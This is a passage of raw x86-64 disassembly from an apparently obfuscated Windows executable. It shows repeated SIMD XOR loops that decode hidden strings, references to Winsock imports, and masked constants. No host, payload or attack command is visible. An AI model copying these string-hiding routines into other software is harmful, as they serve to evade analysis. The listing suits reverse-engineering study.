psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140072d50
jmp 0x140072e7d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140072e50
mov rdx, r9
lea rcx, [rsp + 0x8d0]
call fcn.14004d890
lea rcx, [rsp + 0x8d0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [r15 + 8]
lea rcx, [rsp + 0xaa0]
call fcn.1400500e0
mov rdx, rax
lea r15, [0x14041fae0]
mov rcx, r15
call fcn.14004f0c0
lea rcx, [rsp + 0xaa0]
call fcn.14004e710
mov eax, dword [0x1400f86d0]
mov dword [rsp + 0xae], eax
movzx eax, word [0x1400f86d4]
mov word [rsp + 0xb2], ax
mov byte [rsp + 0xae], 0x45
xor byte [rsp + 0xaf], 0x36
xor byte [rsp + 0xb0], 0x37
xor byte [rsp + 0xb1], 0x38
xor al, 0x39
mov byte [rsp + 0xb2], al
xor byte [rsp + 0xb3], 0x3a
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x14041fae0]
lea rcx, [rsp + 0x8f0]
call fcn.140052120
lea rdx, [rsp + 0xae]
mov rcx, rax
call fcn.14003f030
movzx ebx, al
lea rcx, [rsp + 0x8f0]
call fcn.14004e710
test bl, bl
je 0x140073138
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x80]
call fcn.14004f6c0
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x14007310d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400730db
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140072fe0
jmp 0x14007310d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x1400730e0
mov rdx, r9
lea rcx, [rsp + 0x8f0]
call fcn.14004d890
lea rcx, [rsp + 0x8f0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rax, [rsp + 0xa40]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0xa40]
call fcn.140052450
mov rbx, rax
lea rax, [rsp + 0xa60]
mov qword [rsp + 0x330], rax
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x14041fae0]
lea rcx, [rsp + 0xa60]
call fcn.140052120
mov r13, rax
movups xmm0, xmmword [0x1400f86f0]
movups xmmword [rsp + 0x608], xmm0
mov ecx, dword [0x1400f8700]
mov dword [rsp + 0x618], ecx
cmp byte [0x1400f8703], 0
je 0x140073360
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140073313
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x60c]
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073210
cmp r8d, 0x14
jge 0x140073360
movsxd rax, r8d
lea r9, [rsp + 0x608]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140073330
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0x910]
call fcn.14004d890
nop
mov r8, rbx
mov rdx, r13
mov rcx, rax
call fcn.140065860
test al, al
je 0x140074ce3
movups xmm0, xmmword [0x1400f8708]
movups xmmword [rsp + 0x438], xmm0
movzx eax, word [0x1400f8718]
mov word [rsp + 0x448], ax
cmp byte [0x1400f8719], 0
je 0x140073560
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140073515
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x43c]
mov edx, dword [rsp + 0xc0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073412
cmp r8d, 0x12
jge 0x140073560
movsxd rax, r8d
lea r9, [rsp + 0x438]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140073530
lea rax, [rsp + 0x438]
mov qword [rsp + 0x770], rax
lea rcx, [rsp + 0x438]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140073580
mov qword [rsp + 0x778], rax
xor r8d, r8d
lea rdx, [rsp + 0x770]
lea rcx, [rsp + 0x698]
call fcn.14003f2e0
mov r13d, dword [rsp + 0x88]
bts r13d, 0x10
lea rcx, [rsp + 0x698]
cmp qword [rsp + 0x6b0], 8
cmovae rcx, qword [rsp + 0x698]
call fcn.1400e6368
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x1400799b2
lea rcx, [rsp + 0x698]
call fcn.140060df0
test bl, bl
jne 0x1400737c8
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0x80]
call fcn.14004f6e0
mov r9, rax
cmp byte [rax + 0x17], bl
je 0x14007379d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007376b
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140073670
jmp 0x14007379d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140073770
mov rdx, r9
lea rcx, [rsp + 0x910]
call fcn.14004d890
lea rcx, [rsp + 0x910]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x1400f8738]
movups xmmword [rsp + 0x44a], xmm0
movzx eax, word [0x1400f8748]
mov word [rsp + 0x45a], ax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400f8749], 0
je 0x1400739a0
mov r8d, esi
cmp ebx, 2
jl 0x140073953
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x44e]
mov edx, dword [rsp + 0xc0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073850
cmp r8d, 0x12
jge 0x1400739a0
movsxd rax, r8d
lea r9, [rsp + 0x44a]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140073970
lea rax, [rsp + 0x44a]
mov qword [rsp + 0x780], rax
lea rcx, [rsp + 0x44a]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400739c0
mov qword [rsp + 0x788], rax
xor r8d, r8d
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x890]
call fcn.14003f2e0
bts r13d, 0x11
or r13d, 4
mov dword [rsp + 0x88], r13d
mov dword [rsp + 0xe0], r13d
lea rcx, [rsp + 0x890]
call fcn.140069780
test al, al
je 0x140073c67
movups xmm0, xmmword [0x1400f8750]
movups xmmword [rsp + 0x45c], xmm0
movzx eax, word [0x1400f8760]
mov word [rsp + 0x46c], ax
cmp byte [0x1400f8761], 0
je 0x140073bf0
mov r8d, esi
cmp ebx, 2
jl 0x140073ba3
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x460]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073aa0
cmp r8d, 0x12
jge 0x140073bf0
movsxd rax, r8d
lea r9, [rsp + 0x45c]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140073bc0
lea rax, [rsp + 0x45c]
mov qword [rsp + 0x790], rax
lea rax, [rsp + 0x45c]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140073c10
mov qword [rsp + 0x798], rdi
xor r8d, r8d
lea rdx, [rsp + 0x790]
lea rcx, [rsp + 0x870]
call fcn.14003f2e0
bts r13d, 0x13
or r13d, 8
mov dword [rsp + 0x88], r13d
mov dword [rsp + 0xe0], r13d
lea rcx, [rsp + 0x870]
call fcn.14006adf0
test al, al
je 0x140073c67
mov bl, 1
jmp 0x140073c69
xor bl, bl
test r13b, 8
je 0x140073c89
and r13d, 0xfffffff7
mov dword [rsp + 0x88], r13d
lea rcx, [rsp + 0x870]
call fcn.140060df0
nop
test r13b, 4
je 0x140073ca8
and r13d, 0xfffffffb
mov dword [rsp + 0x88], r13d
lea rcx, [rsp + 0x890]
call fcn.140060df0
test bl, bl
je 0x140074616
mov rax, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x14041fae0]
mov qword [rsp + 0x710], rax
mov rax, qword [0x14041faf0]
mov qword [rsp + 0x718], rax
xor r8d, r8d
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0x678]
call fcn.14003f2e0
bts r13d, 0x12
lea rax, [rsp + 0x840]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x678]
cmp qword [rsp + 0x690], 8
cmovae rcx, qword [rsp + 0x678]
mov rax, qword [rsp + 0x688]
lea rbx, [rcx + rax*2]
mov rdx, rbx
call fcn.1400601b0
mov rdi, rax
mov r8d, Ordinal_60
mov rdx, rbx
mov rcx, rax
call fcn.1400e5f20
mov rdx, rax
mov rcx, rdi
call fcn.140060160
sub rax, rdi
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], rsi
mov r8, rax
mov rdx, rdi
lea rcx, [rsp + 0xc0]
call fcn.14003f210
or r13d, 0x700000
mov dword [rsp + 0xe0], r13d
lea rdx, [rsp + 0xb00]
lea rcx, [rsp + 0xc0]
call fcn.140071110
nop
mov rdx, rax
lea rcx, [rsp + 0x840]
call fcn.14003efb0
mov rbx, rax
movabs rax, 0xcd25ec93bcad4880
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x530], rcx
mov qword [rsp + 0x88], r14
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x538], rcx
mov qword [rsp + 0x88], r12
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x720], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x728], rax
movdqa xmm0, xmmword [rsp + 0x720]
xorps xmm0, xmmword [rsp + 0x530]
movdqa xmmword [rsp + 0x530], xmm0
lea rdx, [rsp + 0x530]
lea rcx, [0x1404397e0]
call fcn.14003f080
nop
mov rdx, rbx
mov rcx, rax
call fcn.14004f050
nop
lea rcx, [rsp + 0xb00]
call fcn.14004e710
nop
lea rcx, [rsp + 0xc0]
call fcn.140060df0
lea rax, [rsp + 0x850]
mov qword [rsp + 0x168], rax
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x14041fae0]
lea rcx, [rsp + 0xac0]
call fcn.140052120
nop
mov rdx, rax
lea rcx, [rsp + 0x850]
call fcn.14003efb0
mov rbx, rax
movabs rax, 0xa82dfe93abab5299
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x88], r14
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x548], rcx
mov qword [rsp + 0x88], r12
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x738], rax
movdqa xmm0, xmmword [rsp + 0x540]
xorps xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0x540], xmm0
lea rdx, [rsp + 0x540]
lea rcx, [0x1404397e0]
call fcn.14003f080
nop
mov rdx, rbx
mov rcx, rax
call fcn.14004f050
nop
lea rcx, [rsp + 0xac0]
call fcn.14004e710
lea rax, [rsp + 0x860]
mov qword [rsp + 0x168], rax
mov eax, dword [0x1400f8764]
mov dword [rsp + 0x100], eax
movzx ecx, word [0x1400f8768]
mov word [rsp + 0x104], cx
movzx eax, byte [0x1400f876a]
mov byte [rsp + 0x100], 0x55
xor byte [rsp + 0x101], 0x36
xor byte [rsp + 0x102], 0x37
xor byte [rsp + 0x103], 0x38
xor cl, 0x39
mov byte [rsp + 0x104], cl
xor byte [rsp + 0x105], 0x3a
xor al, 0x3b
mov byte [rsp + 0x106], al
lea rax, [rsp + 0x100]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x860]
call fcn.14003ef10
mov rbx, rax
movabs rax, 0xa848bca2abac5498
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x550], rcx
mov qword [rsp + 0x88], r14
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x558], rcx
mov qword [rsp + 0x88], r12
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x748], rax
movdqa xmm0, xmmword [rsp + 0x740]
xorps xmm0, xmmword [rsp + 0x550]
movdqa xmmword [rsp + 0x550], xmm0
lea rdx, [rsp + 0x550]
lea rcx, [0x1404397e0]
call fcn.14003f080
nop
mov rdx, rbx
mov rcx, rax
call fcn.14004f050
lea rax, [rsp + 0x930]
mov qword [rsp + 0x168], rax
mov eax, dword [0x1400f876c]
mov dword [rsp + 0x107], eax
movzx ecx, word [0x1400f8770]
mov word [rsp + 0x10b], cx
movzx eax, byte [0x1400f8772]
mov byte [rsp + 0x107], 0x55
xor byte [rsp + 0x108], 0x36
xor byte [rsp + 0x109], 0x37
xor byte [rsp + 0x10a], 0x38
xor cl, 0x39
mov byte [rsp + 0x10b], cl
xor byte [rsp + 0x10c], 0x3a
xor al, 0x3b
mov byte [rsp + 0x10d], al
lea rax, [rsp + 0x107]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x930]
call fcn.14003ef10
mov rbx, rax
movabs rax, 0xa848bfa2abac5498
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x560], rcx
mov qword [rsp + 0x88], r14
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x568], rcx
mov qword [rsp + 0x88], r12
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x750], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x758], rax
movdqa xmm0, xmmword [rsp + 0x560]
xorps xmm0, xmmword [rsp + 0x750]
movdqa xmmword [rsp + 0x560], xmm0
lea rdx, [rsp + 0x560]
lea rcx, [0x1404397e0]
call fcn.14003f080
nop
mov rdx, rbx
mov rcx, rax
call fcn.14004f050
lea rax, [rsp + 0x940]
mov qword [rsp + 0x168], rax
mov eax, dword [str._XVVM_]
mov dword [rsp + 0x10e], eax
movzx ecx, word [0x1400f8778]
mov word [rsp + 0x112], cx
movzx eax, byte [0x1400f877a]
mov byte [rsp + 0x10e], 0x55
xor byte [rsp + 0x10f], 0x36
xor byte [rsp + 0x110], 0x37
xor byte [rsp + 0x111], 0x38
xor cl, 0x39
mov byte [rsp + 0x112], cl
xor byte [rsp + 0x113], 0x3a
xor al, 0x3b
mov byte [rsp + 0x114], al
lea rax, [rsp + 0x10e]
mov qword [rsp + 0xf8], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x940]
call fcn.14003ef10
mov rbx, rax
movabs rax, 0xa848bea2abac5498
mov qword [rsp + 0xf8], rax
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x2c0], rcx
